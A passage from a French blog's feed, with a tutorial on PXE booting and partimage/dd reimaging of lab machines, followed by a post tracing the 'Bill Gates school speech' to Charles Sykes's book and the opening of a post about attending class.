&lt;p&gt;&lt;em&gt;dhcp&lt;/em&gt; doit dire au client qu&amp;rsquo;il est prié de télécharger &lt;code&gt;/srv/tftp/pxelinux.o&lt;/code&gt; afin de l&amp;rsquo;exécuter. On ajoute au fichier &lt;code&gt;/etc/dhcp/dhcpd.conf&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;next-server&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.210.1&lt;span class="p"&gt;;&lt;/span&gt;
filename&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;pxelinux.0&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;À ce fichier, est associé le menu qui sera présenté à l&amp;rsquo;utilisateur (&lt;code&gt;/srv/tftp/pxelinux.cfg/default&lt;/code&gt;). Menu à adapter à ses besoins. Ce menu propose&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;de booter sur le disque local en MS Windows ou en linux&lt;/li&gt;
&lt;li&gt;de réinstaller tout ou partie du disque&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le menu a l&amp;rsquo;allure suivante…&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;DEFAULT&lt;span class="w"&gt; &lt;/span&gt;vesamenu.c32&lt;span class="w"&gt; &lt;/span&gt;menuconf/design.conf&lt;span class="w"&gt;  &lt;/span&gt;

TIMEOUT&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;50&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
MENU&lt;span class="w"&gt; &lt;/span&gt;TITLE&lt;span class="w"&gt; &lt;/span&gt;Labo&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;504&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
MENU&lt;span class="w"&gt; &lt;/span&gt;AUTOBOOT&lt;span class="w"&gt; &lt;/span&gt;Starting&lt;span class="w"&gt; &lt;/span&gt;Windows&lt;span class="w"&gt; &lt;/span&gt;System&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# seconds  &lt;/span&gt;

LABEL&lt;span class="w"&gt; &lt;/span&gt;-&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;MENU&lt;span class="w"&gt; &lt;/span&gt;LABEL&lt;span class="w"&gt; &lt;/span&gt;Local&lt;span class="w"&gt; &lt;/span&gt;boot&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;MENU&lt;span class="w"&gt; &lt;/span&gt;DISABLE&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;TOTALTIMEOUT&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;9000&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;TIMEOUT&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;9000&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;

LABEL&lt;span class="w"&gt; &lt;/span&gt;bootlocal-win&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;MENU&lt;span class="w"&gt; &lt;/span&gt;LABEL&lt;span class="w"&gt; &lt;/span&gt;^Windows&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;KERNEL&lt;span class="w"&gt; &lt;/span&gt;chain.c32&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;APPEND&lt;span class="w"&gt; &lt;/span&gt;hd0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;MENU&lt;span class="w"&gt; &lt;/span&gt;INDENT&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;

LABEL&lt;span class="w"&gt; &lt;/span&gt;bootlocal-debian&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;MENU&lt;span class="w"&gt; &lt;/span&gt;LABEL&lt;span class="w"&gt; &lt;/span&gt;^Debian&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;KERNEL&lt;span class="w"&gt; &lt;/span&gt;chain.c32&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;APPEND&lt;span class="w"&gt; &lt;/span&gt;hd0&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;MENU&lt;span class="w"&gt; &lt;/span&gt;INDENT&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;MENU&lt;span class="w"&gt; &lt;/span&gt;DEFAULT&lt;span class="w"&gt;  &lt;/span&gt;
…
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour réinstaller, nous utilisons &lt;strong&gt;partimage&lt;/strong&gt;… qui a besoin d&amp;rsquo;une machine linux opérationelle&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;debootstrap
apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;nfs-kernel-server
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Nous créons une machine linux qui se trouvera sur le serveur et sera proposée aux clients &lt;em&gt;via&lt;/em&gt; nfs. Le client la boote et le dernier script de boot sera un script perso permettant la réinstallation à grands coups de &lt;em&gt;dd&lt;/em&gt; et de &lt;em&gt;partimage&lt;/em&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;debootstrap&lt;/em&gt; est un outil qui permet d&amp;rsquo;installer un système debian de base dans le sous-répertoire d&amp;rsquo;un autre système déjà existant. Il n&amp;rsquo;a pas besoin d&amp;rsquo;un CD d&amp;rsquo;installation, juste d&amp;rsquo;un accès à un dépôt debian&lt;/p&gt;
&lt;p&gt;Extrait de &lt;a href="http://wiki.debian.org/fr/Debootstrap"&gt;Wiki debian&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;En quelques commandes , ça donne;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;/srv/pxelinux
debootstrap&lt;span class="w"&gt; &lt;/span&gt;wheezy&lt;span class="w"&gt; &lt;/span&gt;/srv/pxelinux&lt;span class="w"&gt; &lt;/span&gt;http://ftp.us.debian.org/debian
mount&lt;span class="w"&gt; &lt;/span&gt;/dev&lt;span class="w"&gt; &lt;/span&gt;/srv/pxelinux/dev&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;bind&lt;/span&gt;
mount&lt;span class="w"&gt; &lt;/span&gt;/proc&lt;span class="w"&gt; &lt;/span&gt;/srv/pxelinux/proc&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;bind&lt;/span&gt;
mount&lt;span class="w"&gt; &lt;/span&gt;/sys&lt;span class="w"&gt; &lt;/span&gt;/srv/pxelinux/sys&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;bind&lt;/span&gt;
chroot&lt;span class="w"&gt; &lt;/span&gt;/sys/pxelinux
apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;«kernel»
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Modifier le fichier &lt;code&gt;/etc/initramfs&lt;/code&gt; en y remplaçant &lt;code&gt;MODULE=netboot&lt;/code&gt; et exécuter un &lt;code&gt;update-initramfs -u -k all&lt;/code&gt; afin de mettre à jour le fichier &lt;code&gt;initrd&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Le fichier &lt;code&gt;/etc/fstab&lt;/code&gt; a, quant à lui, l&amp;rsquo;allure suivante,&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;proc&lt;span class="w"&gt;            &lt;/span&gt;/proc&lt;span class="w"&gt;           &lt;/span&gt;proc&lt;span class="w"&gt;    &lt;/span&gt;defaults&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="m"&gt;192&lt;/span&gt;.168.210.1:/srv/pxelinux&lt;span class="w"&gt; &lt;/span&gt;/&lt;span class="w"&gt;   &lt;/span&gt;nfs&lt;span class="w"&gt; &lt;/span&gt;defaults&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="m"&gt;192&lt;/span&gt;.168.210.1:/var/images&lt;span class="w"&gt;   &lt;/span&gt;/var/images&lt;span class="w"&gt; &lt;/span&gt;nfs&lt;span class="w"&gt; &lt;/span&gt;defaults&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
tmpfs&lt;span class="w"&gt;       &lt;/span&gt;/var/lib/dhcp&lt;span class="w"&gt;   &lt;/span&gt;tmpfs&lt;span class="w"&gt;   &lt;/span&gt;defaults,size&lt;span class="o"&gt;=&lt;/span&gt;10M&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
tmpfs&lt;span class="w"&gt;       &lt;/span&gt;/var/run&lt;span class="w"&gt;    &lt;/span&gt;tmpfs&lt;span class="w"&gt;   &lt;/span&gt;defaults,size&lt;span class="o"&gt;=&lt;/span&gt;10M&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ligne par ligne;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;proc&lt;/code&gt; comme d&amp;rsquo;habitude,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/&lt;/code&gt; est un partage &lt;em&gt;nfs&lt;/em&gt; (que l&amp;rsquo;on vient de créer),&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var/images&lt;/code&gt; car c&amp;rsquo;est là que se trouveront les images de nos partitions,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var/lib/dhcp&lt;/code&gt; car c&amp;rsquo;est là que se trouvent les &lt;em&gt;leases&lt;/em&gt; de dhcp et ils risquent de poser problème lorsque plusieurs machines &lt;em&gt;bootent&lt;/em&gt; sur le réseau, et &lt;/li&gt;
&lt;li&gt;&lt;code&gt;/var/run&lt;/code&gt; pour la même raison&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Il reste a créer les images dans &lt;code&gt;/var/images&lt;/code&gt;, copier le &lt;em&gt;mbr&lt;/em&gt;, créer le script et tester le tout&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;partimage&lt;span class="w"&gt; &lt;/span&gt;-z1&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;save&lt;span class="w"&gt; &lt;/span&gt;/dev/sda3&lt;span class="w"&gt; &lt;/span&gt;/var/images/linux-sda3.img&lt;span class="w"&gt; &lt;/span&gt;
partimage&lt;span class="w"&gt; &lt;/span&gt;-z1&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;save&lt;span class="w"&gt; &lt;/span&gt;/dev/sda2&lt;span class="w"&gt; &lt;/span&gt;/var/images/windows-sda2.img
dd&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/sda&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/var/images/mbr&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Le script est lancé en fin de séquence de boot par le biais du fichier &lt;code&gt;/etc/inittab&lt;/code&gt;. Le script a l&amp;rsquo;allure suivante :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;LINUX&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;reinstall linux&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;/usr/sbin/partimage&lt;span class="w"&gt; &lt;/span&gt;-b&lt;span class="w"&gt; &lt;/span&gt;restore&lt;span class="w"&gt; &lt;/span&gt;/dev/sda3&lt;span class="w"&gt; &lt;/span&gt;/var/images/&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;linux-sda3.img.000
&lt;span class="w"&gt;        &lt;/span&gt;/sbin/mkswap&lt;span class="w"&gt;  &lt;/span&gt;/dev/sda4
&lt;span class="w"&gt;        &lt;/span&gt;/bin/mount&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;ext4&lt;span class="w"&gt; &lt;/span&gt;/dev/sda3&lt;span class="w"&gt; &lt;/span&gt;/mnt
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;hostname&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;/mnt/etc/hostname
&lt;span class="w"&gt;        &lt;/span&gt;/bin/umount&lt;span class="w"&gt; &lt;/span&gt;/mnt
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;WINDOWS&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;reinstall windows&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;/bin/dd&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/var/images/windows-sda1.img&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/sda1
&lt;span class="w"&gt;        &lt;/span&gt;/usr/sbin/partimage&lt;span class="w"&gt; &lt;/span&gt;-b&lt;span class="w"&gt; &lt;/span&gt;restore&lt;span class="w"&gt; &lt;/span&gt;/dev/sda2&lt;span class="w"&gt; &lt;/span&gt;/var/images/&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;windows-sda2.img.000

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;MBR&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;reinstall all&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;/bin/dd&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/var/images/mbr&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/sda
&lt;span class="w"&gt;        &lt;/span&gt;/sbin/sfdisk&lt;span class="w"&gt; &lt;/span&gt;-R&lt;span class="w"&gt; &lt;/span&gt;/dev/sda
&lt;span class="w"&gt;        &lt;/span&gt;/bin/dd&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/var/images/windows-sda1.img&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/sda1
&lt;span class="w"&gt;        &lt;/span&gt;/usr/sbin/partimage&lt;span class="w"&gt; &lt;/span&gt;-b&lt;span class="w"&gt; &lt;/span&gt;restore&lt;span class="w"&gt; &lt;/span&gt;/dev/sda2&lt;span class="w"&gt; &lt;/span&gt;/var/images/&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;windows-sda2.img.000
&lt;span class="w"&gt;        &lt;/span&gt;/usr/sbin/partimage&lt;span class="w"&gt; &lt;/span&gt;-b&lt;span class="w"&gt; &lt;/span&gt;restore&lt;span class="w"&gt; &lt;/span&gt;/dev/sda3&lt;span class="w"&gt; &lt;/span&gt;/var/images/&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;linux-sda3.img.000
&lt;span class="w"&gt;        &lt;/span&gt;/sbin/mkswap&lt;span class="w"&gt;  &lt;/span&gt;/dev/sda4
&lt;span class="w"&gt;        &lt;/span&gt;/bin/mount&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;ext4&lt;span class="w"&gt; &lt;/span&gt;/dev/sda3&lt;span class="w"&gt; &lt;/span&gt;/mnt
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;hostname&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;/mnt/etc/hostname
&lt;span class="w"&gt;        &lt;/span&gt;/bin/umount&lt;span class="w"&gt; &lt;/span&gt;/mnt

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;;&lt;/span&gt;
&lt;span class="k"&gt;esac&lt;/span&gt;

/sbin/halt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;À ce stade, tout est mis en place et tout devrait fonctionner…&lt;/p&gt;
&lt;h4&gt;Liens&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.toine.be"&gt;Antoine&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.isc.org/software/dhcp"&gt;ics-dhcp-serveur&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.syslinux.org/wiki/index.php/PXELINUX"&gt;pxelinux chez syslinux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.partimage.org/Page_Principale"&gt;partimage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://wiki.debian.org/fr/Debootstrap"&gt;debootstrap&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Oui, mes machines portent des noms de bières&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Oui, aujourd&amp;rsquo;hui, c&amp;rsquo;est sponsorisé par &lt;strong&gt;Orval&lt;/strong&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Si vous croyez que votre professeur est dur avec vous, attendez d'avoir un patron</title><link href="http://blog.namok.be/2012-08-30-si-vous-croyez-que-votre-professeur-est-dur-avec-vous-attendez-d-avoir-un-patron.html" rel="alternate"/><published>2012-08-30T00:00:00+02:00</published><updated>2012-08-30T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-08-30:/2012-08-30-si-vous-croyez-que-votre-professeur-est-dur-avec-vous-attendez-d-avoir-un-patron.html</id><summary type="html">Si vous croyez que votre professeur est dur avec vous, attendez d'avoir un patron</summary><content type="html">&lt;blockquote&gt;
&lt;p&gt;La vie est injuste : il faut vous y habituer!&lt;/p&gt;
&lt;p&gt;Avant que vous naissiez, vos parents n&amp;rsquo;étaient pas aussi ennuyeux qu&amp;rsquo;ils le sont maintenant ! Ils sont devenus comme ça en payant vos factures, en nettoyant vos vêtements et en vous entendant répéter sans arrêt combien vous êtes bons et cools et combien eux ne le sont pas… Ainsi, avant de sauver les forêts tropicales des parasites de la génération de vos parents, commencez donc par faire le ménage dans votre propre chambre et dans votre propre vie.&lt;/p&gt;
&lt;p&gt;Extrait de (au choix) via &lt;a href="https://www.google.be/search?q=bill+gates+discours+%C3%A9cole"&gt;Google&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ça (re)circule sur le &lt;em&gt;web&lt;/em&gt;… et, parfois (lorsque je vois que « tout le monde » &lt;em&gt;forwarde&lt;/em&gt;), j&amp;rsquo;aime chercher la source. Et, dans ce cas, ça m&amp;rsquo;a pris un peu de temps.&lt;/p&gt;
&lt;p&gt;Ces citations étant pleines de bon sens 🫤 … essayons de « &lt;strong&gt;rendre à César la monnaie de sa pièce&lt;/strong&gt; ».&lt;/p&gt;
&lt;p&gt;&lt;img alt="Nude students' protest calendar" src="/images/etudiant-nus-allemagne.jpg" title="Nude students' protest calendar, août 2012"&gt;&lt;br&gt;
&lt;em&gt;(Calendrier d&amp;rsquo;étudiants et étudiantes allemandes en 2012)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Ce n&amp;rsquo;est pas Bill Gates qui le dit (&lt;a href="http://business.illinois.edu/broker/eleven.htm"&gt;source&lt;/a&gt; &lt;a href="http://www.principalspage.com/theblog/archives/11-things-kids-will-not-learn-in-school"&gt;source&lt;/a&gt; &lt;a href="http://www.truthorfiction.com/rumors/b/billgatesspeech.htm"&gt;source&lt;/a&gt; &lt;a href="http://urbanlegends.about.com/library/bl_bill_gates_speech.htm"&gt;source&lt;/a&gt;) mais plutôt &lt;strong&gt;Charles Sykes&lt;/strong&gt; dans un livre intitulé « &lt;strong&gt;Dumbing Down our Kids&lt;/strong&gt; »… ou plutôt dans « &lt;strong&gt;50 Rules Kids Won&amp;rsquo;t Learn in School&lt;/strong&gt; » (&lt;a href="http://www.amazon.com/Rules-Kids-Wont-Learn-School/dp/031236038X/ref=la_B000APJTWU_1_1?ie=UTF8&amp;amp;qid=1346314768&amp;amp;sr=1-1"&gt;Amazon&lt;/a&gt;)… &lt;a href="http://www.the50rules.com/"&gt;The 50 rules&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.amazon.com/Rules-Kids-Wont-Learn-School/dp/031236038X/ref=la_B000APJTWU_1_1?ie=UTF8&amp;amp;qid=1346314768&amp;amp;sr=1-1"&gt;&lt;img alt="Amazon" src="http://ecx.images-amazon.com/images/I/41phWc0WIjL._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA300_SH20_OU01_.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Extrait… &lt;em&gt;from the inside flap&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Education consists mainly in what we have unlearned.» &lt;/p&gt;
&lt;p&gt;Mark Twain Charles J. Sykes offers fifty life lessons not included in the self-esteem-laden, reality-light curriculum of most schools. Here are truths about what kids will encounter in the world post-schooling, and ideas for how parents can reclaim lost ground---not with pep talks and touchy-feely negotiations, but with honesty and respect. Sykes&amp;rsquo;s rules are frank, funny, and tough minded, including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1 Life is not fair. Get used to it.  &lt;/li&gt;
&lt;li&gt;7 If you think your teacher is tough, wait until you get a boss. He doesn&amp;rsquo;t have tenure, so he tends to be a bit edgier. When you screw up, he&amp;rsquo;s not going to ask you how you FEEL about it.  &lt;/li&gt;
&lt;li&gt;15 Flipping burgers is not beneath your dignity. Your grandparents had a different word for burger flipping. They called it &amp;ldquo;opportunity.&amp;rdquo;  &lt;/li&gt;
&lt;li&gt;42 Change the oil.  &lt;/li&gt;
&lt;li&gt;43 Don&amp;rsquo;t let the success of others depress you.  &lt;/li&gt;
&lt;li&gt;48 Tell yourself the story of your life. Have a point.  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each rule is explored with wise, pithy examples that parents, grandparents, and teachers can use to help children help themselves succeed in school and out of it. A few rules kids won&amp;rsquo;t learn in school:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;9 Your school may have done away with winners and losers. Life hasn&amp;rsquo;t.  &lt;/li&gt;
&lt;li&gt;14 Looking like a slut does not empower you.  &lt;/li&gt;
&lt;li&gt;29 Learn to deal with hypocrisy.  &lt;/li&gt;
&lt;li&gt;32 Television is not real life.  &lt;/li&gt;
&lt;li&gt;38 Look people in the eye when you meet them.  &lt;/li&gt;
&lt;li&gt;47 You are not perfect, and you don&amp;rsquo;t have to be.  &lt;/li&gt;
&lt;li&gt;50 Enjoy this while you can.  &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Extrait de &lt;a href="http://www.amazon.com/Rules-Kids-Wont-Learn-School/dp/031236038X/ref=la_B000APJTWU_1_1?ie=UTF8&amp;amp;qid=1346314768&amp;amp;sr=1-1"&gt;Amazon - 50 rules Kids won&amp;rsquo;t learn in school&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</content></entry><entry><title>Rentrée, je vais au cours</title><link href="http://blog.namok.be/2012-08-28-rentree-je-vais-au-cours.html" rel="alternate"/><published>2012-08-28T00:00:00+02:00</published><updated>2012-08-28T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2012-08-28:/2012-08-28-rentree-je-vais-au-cours.html</id><summary type="html">Aller au cours pour éviter le décrochage</summary><content type="html">&lt;p&gt;C&amp;rsquo;est la rentrée et l&amp;rsquo;on se dit que, dans le supérieur, il est &lt;strong&gt;peut-être&lt;/strong&gt; inutile d&amp;rsquo;aller au cours…&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Que nenni !&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;La raison la plus importante d&amp;rsquo;aller au cours, c&amp;rsquo;est que &lt;strong&gt;j&amp;rsquo;aime bien voir mes étudiants&lt;/strong&gt;… Bon, d&amp;rsquo;accord, c&amp;rsquo;est un peu court.&lt;/p&gt;
